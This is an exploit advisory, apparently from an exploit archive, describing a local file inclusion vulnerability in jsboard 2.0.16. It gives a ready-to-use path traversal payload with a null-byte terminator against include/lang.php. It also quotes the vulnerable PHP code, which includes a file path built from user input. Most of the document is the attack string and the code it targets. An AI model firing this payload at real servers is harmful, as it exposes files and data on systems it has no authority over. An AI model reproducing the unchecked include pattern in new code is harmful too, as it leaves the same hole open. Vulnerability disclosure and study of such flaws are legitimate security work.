jsboard 2.0.16 Local File Include Vulnerability

[Sk7]

[code]

----------[exploit Debut]
[Local File Include Vulnerability]
----------[Script Info]
 
Author      : JIKO
 
----------[Script Info]
 
Site        : http://kldp.net/projects/jsboard/
Version     : 2.0.16
Download    : http://kldp.net/frs/download.php/6058/jsboard-2.0.16.tar.gz
 
----------[exploit Info]
 
Exploit :
http://Path/include/lang.php?langs

=../../../COPYING%00
 
Line : 13-17
Page : lang.php
Code :
 
if ($langs['code']) {
  if (file_exists("$locate/{$langs['code']}.php")) {
    include "$locate/{$langs['code']}.php";
  } else { include "$locate/en.php"; }
} else { include "$locate/en.php"; }
 
----------[exploit Fin]
 
# 232895897D7CE115   1337day.com [2014-05-28]   B9ED52100CF27071 #